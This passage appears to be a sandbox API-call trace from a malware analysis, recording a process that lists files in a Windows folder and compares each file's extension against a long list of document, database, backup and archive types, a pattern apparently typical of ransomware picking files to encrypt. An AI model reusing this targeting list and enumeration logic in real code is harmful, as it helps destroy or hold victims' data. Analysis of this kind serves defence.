[0093.523] lstrlenW (lpString=".dic") returned 4 [0093.523] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0093.523] lstrlenW (lpString=".dif") returned 4 [0093.523] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0093.523] lstrlenW (lpString=".divx") returned 5 [0093.523] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0093.523] lstrlenW (lpString=".djvu") returned 5 [0093.523] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0093.523] lstrlenW (lpString=".dng") returned 4 [0093.523] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0093.523] lstrlenW (lpString=".doc") returned 4 [0093.523] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0093.523] lstrlenW (lpString=".docm") returned 5 [0093.523] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0093.523] lstrlenW (lpString=".docx") returned 5 [0093.523] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0093.523] lstrlenW (lpString=".dot") returned 4 [0093.523] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0093.523] lstrlenW (lpString=".dotm") returned 5 [0093.523] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0093.523] lstrlenW (lpString=".dotx") returned 5 [0093.523] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0093.523] lstrlenW (lpString=".dpx") returned 4 [0093.523] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0093.523] lstrlenW (lpString=".dqy") returned 4 [0093.523] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0093.523] lstrlenW (lpString=".dsn") returned 4 [0093.524] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0093.524] lstrlenW (lpString=".dt") returned 3 [0093.524] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0093.524] lstrlenW (lpString=".dtd") returned 4 [0093.524] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0093.524] lstrlenW (lpString=".dwg") returned 4 [0093.524] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0093.524] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0093.524] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0093.539] FindClose (in: hFindFile=0x3e50500 | out: hFindFile=0x3e50500) returned 1 [0093.547] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0093.547] FindNextFileW (in: hFindFile=0x4c9858, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0093.547] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0093.547] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e501c0 [0093.552] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.552] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0093.552] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0093.553] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0093.553] lstrlenW (lpString=".1cd") returned 4 [0093.553] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0093.553] lstrlenW (lpString=".3ds") returned 4 [0093.553] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0093.553] lstrlenW (lpString=".3fr") returned 4 [0093.553] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0093.553] lstrlenW (lpString=".3g2") returned 4 [0093.553] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0093.553] lstrlenW (lpString=".3gp") returned 4 [0093.553] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0093.553] lstrlenW (lpString=".7z") returned 3 [0093.553] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0093.553] lstrlenW (lpString=".accda") returned 6 [0093.553] lstrcmpiW (lpString1=".accda", lpString2="ck.ini") returned -1 [0093.553] lstrlenW (lpString=".accdb") returned 6 [0093.553] lstrcmpiW (lpString1=".accdb", lpString2="ck.ini") returned -1 [0093.553] lstrlenW (lpString=".accdc") returned 6 [0093.553] lstrcmpiW (lpString1=".accdc", lpString2="ck.ini") returned -1 [0093.553] lstrlenW (lpString=".accde") returned 6 [0093.553] lstrcmpiW (lpString1=".accde", lpString2="ck.ini") returned -1 [0093.553] lstrlenW (lpString=".accdt") returned 6 [0093.553] lstrcmpiW (lpString1=".accdt", lpString2="ck.ini") returned -1 [0093.553] lstrlenW (lpString=".accdw") returned 6 [0093.553] lstrcmpiW (lpString1=".accdw", lpString2="ck.ini") returned -1 [0093.553] lstrlenW (lpString=".adb") returned 4 [0093.553] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".adp") returned 4 [0093.554] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".ai") returned 3 [0093.554] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0093.554] lstrlenW (lpString=".ai3") returned 4 [0093.554] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".ai4") returned 4 [0093.554] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".ai5") returned 4 [0093.554] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".ai6") returned 4 [0093.554] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".ai7") returned 4 [0093.554] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".ai8") returned 4 [0093.554] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".anim") returned 5 [0093.554] lstrcmpiW (lpString1=".anim", lpString2="k.ini") returned -1 [0093.554] lstrlenW (lpString=".arw") returned 4 [0093.554] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".as") returned 3 [0093.554] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0093.554] lstrlenW (lpString=".asa") returned 4 [0093.554] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0093.554] lstrlenW (lpString=".asc") returned 4 [0093.554] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".ascx") returned 5 [0093.555] lstrcmpiW (lpString1=".ascx", lpString2="k.ini") returned -1 [0093.555] lstrlenW (lpString=".asm") returned 4 [0093.555] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".asmx") returned 5 [0093.555] lstrcmpiW (lpString1=".asmx", lpString2="k.ini") returned -1 [0093.555] lstrlenW (lpString=".asp") returned 4 [0093.555] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".aspx") returned 5 [0093.555] lstrcmpiW (lpString1=".aspx", lpString2="k.ini") returned -1 [0093.555] lstrlenW (lpString=".asr") returned 4 [0093.555] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".asx") returned 4 [0093.555] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".avi") returned 4 [0093.555] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".avs") returned 4 [0093.555] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".backup") returned 7 [0093.555] lstrcmpiW (lpString1=".backup", lpString2="ack.ini") returned -1 [0093.555] lstrlenW (lpString=".bak") returned 4 [0093.555] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".bay") returned 4 [0093.555] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0093.555] lstrlenW (lpString=".bd") returned 3 [0093.555] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0093.555] lstrlenW (lpString=".bin") returned 4 [0093.556] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".bmp") returned 4 [0093.556] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".bz2") returned 4 [0093.556] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".c") returned 2 [0093.556] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0093.556] lstrlenW (lpString=".cdr") returned 4 [0093.556] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".cer") returned 4 [0093.556] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".cf") returned 3 [0093.556] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0093.556] lstrlenW (lpString=".cfc") returned 4 [0093.556] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".cfm") returned 4 [0093.556] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".cfml") returned 5 [0093.556] lstrcmpiW (lpString1=".cfml", lpString2="k.ini") returned -1 [0093.556] lstrlenW (lpString=".cfu") returned 4 [0093.556] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".chm") returned 4 [0093.556] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".cin") returned 4 [0093.556] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0093.556] lstrlenW (lpString=".class") returned 6 [0093.556] lstrcmpiW (lpString1=".class", lpString2="ck.ini") returned -1 [0093.557] lstrlenW (lpString=".clx") returned 4 [0093.557] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".config") returned 7 [0093.557] lstrcmpiW (lpString1=".config", lpString2="ack.ini") returned -1 [0093.557] lstrlenW (lpString=".cpp") returned 4 [0093.557] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".cr2") returned 4 [0093.557] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".crt") returned 4 [0093.557] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".crw") returned 4 [0093.557] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".cs") returned 3 [0093.557] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0093.557] lstrlenW (lpString=".css") returned 4 [0093.557] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".csv") returned 4 [0093.557] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".cub") returned 4 [0093.557] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".dae") returned 4 [0093.557] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".dat") returned 4 [0093.557] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0093.557] lstrlenW (lpString=".db") returned 3 [0093.557] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0093.557] lstrlenW (lpString=".dbf") returned 4 [0093.557] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".dbx") returned 4 [0093.558] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".dc3") returned 4 [0093.558] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".dcm") returned 4 [0093.558] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".dcr") returned 4 [0093.558] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".der") returned 4 [0093.558] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".dib") returned 4 [0093.558] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".dic") returned 4 [0093.558] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".dif") returned 4 [0093.558] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".divx") returned 5 [0093.558] lstrcmpiW (lpString1=".divx", lpString2="k.ini") returned -1 [0093.558] lstrlenW (lpString=".djvu") returned 5 [0093.558] lstrcmpiW (lpString1=".djvu", lpString2="k.ini") returned -1 [0093.558] lstrlenW (lpString=".dng") returned 4 [0093.558] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".doc") returned 4 [0093.558] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0093.558] lstrlenW (lpString=".docm") returned 5 [0093.558] lstrcmpiW (lpString1=".docm", lpString2="k.ini") returned -1 [0093.558] lstrlenW (lpString=".docx") returned 5 [0093.559] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0093.559] lstrlenW (lpString=".dot") returned 4 [0093.559] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0093.559] lstrlenW (lpString=".dotm") returned 5 [0093.559] lstrcmpiW (lpString1=".dotm", lpString2="k.ini") returned -1 [0093.559] lstrlenW (lpString=".dotx") returned 5 [0094.034] lstrcmpiW (lpString1=".dotx", lpString2="k.ini") returned -1 [0094.034] lstrlenW (lpString=".dpx") returned 4 [0094.051] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0094.051] lstrlenW (lpString=".dqy") returned 4 [0094.051] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0094.051] lstrlenW (lpString=".dsn") returned 4 [0094.051] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0094.051] lstrlenW (lpString=".dt") returned 3 [0094.051] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0094.051] lstrlenW (lpString=".dtd") returned 4 [0094.051] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0094.051] lstrlenW (lpString=".dwg") returned 4 [0094.051] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0094.051] lstrlenW (lpString=".dwt") returned 4 [0094.051] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0094.051] lstrlenW (lpString=".dx") returned 3 [0094.051] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0094.051] lstrlenW (lpString=".dxf") returned 4 [0094.051] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".edml") returned 5 [0094.052] lstrcmpiW (lpString1=".edml", lpString2="k.ini") returned -1 [0094.052] lstrlenW (lpString=".efd") returned 4 [0094.052] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".elf") returned 4 [0094.052] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".emf") returned 4 [0094.052] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".emz") returned 4 [0094.052] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".epf") returned 4 [0094.052] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".eps") returned 4 [0094.052] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".epsf") returned 5 [0094.052] lstrcmpiW (lpString1=".epsf", lpString2="k.ini") returned -1 [0094.052] lstrlenW (lpString=".epsp") returned 5 [0094.052] lstrcmpiW (lpString1=".epsp", lpString2="k.ini") returned -1 [0094.052] lstrlenW (lpString=".erf") returned 4 [0094.052] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".exr") returned 4 [0094.052] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".f4v") returned 4 [0094.052] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".fido") returned 5 [0094.052] lstrcmpiW (lpString1=".fido", lpString2="k.ini") returned -1 [0094.052] lstrlenW (lpString=".flm") returned 4 [0094.052] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0094.052] lstrlenW (lpString=".flv") returned 4 [0094.052] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".frm") returned 4 [0094.053] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".fxg") returned 4 [0094.053] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".geo") returned 4 [0094.053] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".gif") returned 4 [0094.053] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".grs") returned 4 [0094.053] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".gz") returned 3 [0094.053] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0094.053] lstrlenW (lpString=".h") returned 2 [0094.053] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0094.053] lstrlenW (lpString=".hdr") returned 4 [0094.053] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".hpp") returned 4 [0094.053] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".hta") returned 4 [0094.053] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".htc") returned 4 [0094.053] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".htm") returned 4 [0094.053] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".html") returned 5 [0094.053] lstrcmpiW (lpString1=".html", lpString2="k.ini") returned -1 [0094.053] lstrlenW (lpString=".icb") returned 4 [0094.053] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0094.053] lstrlenW (lpString=".ics") returned 4 [0094.053] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0094.054] lstrlenW (lpString=".iff") returned 4 [0094.054] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0094.054] lstrlenW (lpString=".inc") returned 4 [0094.054] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0094.054] lstrlenW (lpString=".indd") returned 5 [0094.054] lstrcmpiW (lpString1=".indd", lpString2="k.ini") returned -1 [0094.054] lstrlenW (lpString=".ini") returned 4 [0094.054] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0094.054] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0094.054] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0094.054] lstrlenW (lpString=".1cd") returned 4 [0094.054] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0094.054] lstrlenW (lpString=".3ds") returned 4 [0094.054] lstrcmpiW (lpString1=".3ds", lpString2=".cmd") returned -1 [0094.054] lstrlenW (lpString=".3fr") returned 4 [0094.054] lstrcmpiW (lpString1=".3fr", lpString2=".cmd") returned -1 [0094.054] lstrlenW (lpString=".3g2") returned 4 [0094.054] lstrcmpiW (lpString1=".3g2", lpString2=".cmd") returned -1 [0094.054] lstrlenW (lpString=".3gp") returned 4 [0094.054] lstrcmpiW (lpString1=".3gp", lpString2=".cmd") returned -1 [0094.054] lstrlenW (lpString=".7z") returned 3 [0094.054] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0094.054] lstrlenW (lpString=".accda") returned 6 [0094.054] lstrcmpiW (lpString1=".accda", lpString2="te.cmd") returned -1 [0094.054] lstrlenW (lpString=".accdb") returned 6 [0094.054] lstrcmpiW (lpString1=".accdb", lpString2="te.cmd") returned -1 [0094.054] lstrlenW (lpString=".accdc") returned 6 [0094.055] lstrcmpiW (lpString1=".accdc", lpString2="te.cmd") returned -1 [0094.055] lstrlenW (lpString=".accde") returned 6 [0094.055] lstrcmpiW (lpString1=".accde", lpString2="te.cmd") returned -1 [0094.055] lstrlenW (lpString=".accdt") returned 6 [0094.055] lstrcmpiW (lpString1=".accdt", lpString2="te.cmd") returned -1 [0094.055] lstrlenW (lpString=".accdw") returned 6 [0094.055] lstrcmpiW (lpString1=".accdw", lpString2="te.cmd") returned -1 [0094.055] lstrlenW (lpString=".adb") returned 4 [0094.055] lstrcmpiW (lpString1=".adb", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".adp") returned 4 [0094.055] lstrcmpiW (lpString1=".adp", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".ai") returned 3 [0094.055] lstrcmpiW (lpString1=".ai", lpString2="cmd") returned -1 [0094.055] lstrlenW (lpString=".ai3") returned 4 [0094.055] lstrcmpiW (lpString1=".ai3", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".ai4") returned 4 [0094.055] lstrcmpiW (lpString1=".ai4", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".ai5") returned 4 [0094.055] lstrcmpiW (lpString1=".ai5", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".ai6") returned 4 [0094.055] lstrcmpiW (lpString1=".ai6", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".ai7") returned 4 [0094.055] lstrcmpiW (lpString1=".ai7", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".ai8") returned 4 [0094.055] lstrcmpiW (lpString1=".ai8", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".anim") returned 5 [0094.055] lstrcmpiW (lpString1=".anim", lpString2="e.cmd") returned -1 [0094.055] lstrlenW (lpString=".arw") returned 4 [0094.055] lstrcmpiW (lpString1=".arw", lpString2=".cmd") returned -1 [0094.055] lstrlenW (lpString=".as") returned 3 [0094.056] lstrcmpiW (lpString1=".as", lpString2="cmd") returned -1 [0094.056] lstrlenW (lpString=".asa") returned 4 [0094.056] lstrcmpiW (lpString1=".asa", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".asc") returned 4 [0094.056] lstrcmpiW (lpString1=".asc", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".ascx") returned 5 [0094.056] lstrcmpiW (lpString1=".ascx", lpString2="e.cmd") returned -1 [0094.056] lstrlenW (lpString=".asm") returned 4 [0094.056] lstrcmpiW (lpString1=".asm", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".asmx") returned 5 [0094.056] lstrcmpiW (lpString1=".asmx", lpString2="e.cmd") returned -1 [0094.056] lstrlenW (lpString=".asp") returned 4 [0094.056] lstrcmpiW (lpString1=".asp", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".aspx") returned 5 [0094.056] lstrcmpiW (lpString1=".aspx", lpString2="e.cmd") returned -1 [0094.056] lstrlenW (lpString=".asr") returned 4 [0094.056] lstrcmpiW (lpString1=".asr", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".asx") returned 4 [0094.056] lstrcmpiW (lpString1=".asx", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".avi") returned 4 [0094.056] lstrcmpiW (lpString1=".avi", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".avs") returned 4 [0094.056] lstrcmpiW (lpString1=".avs", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".backup") returned 7 [0094.056] lstrcmpiW (lpString1=".backup", lpString2="ete.cmd") returned -1 [0094.056] lstrlenW (lpString=".bak") returned 4 [0094.056] lstrcmpiW (lpString1=".bak", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".bay") returned 4 [0094.056] lstrcmpiW (lpString1=".bay", lpString2=".cmd") returned -1 [0094.056] lstrlenW (lpString=".bd") returned 3 [0094.057] lstrcmpiW (lpString1=".bd", lpString2="cmd") returned -1 [0094.057] lstrlenW (lpString=".bin") returned 4 [0094.057] lstrcmpiW (lpString1=".bin", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".bmp") returned 4 [0094.057] lstrcmpiW (lpString1=".bmp", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".bz2") returned 4 [0094.057] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".c") returned 2 [0094.057] lstrcmpiW (lpString1=".c", 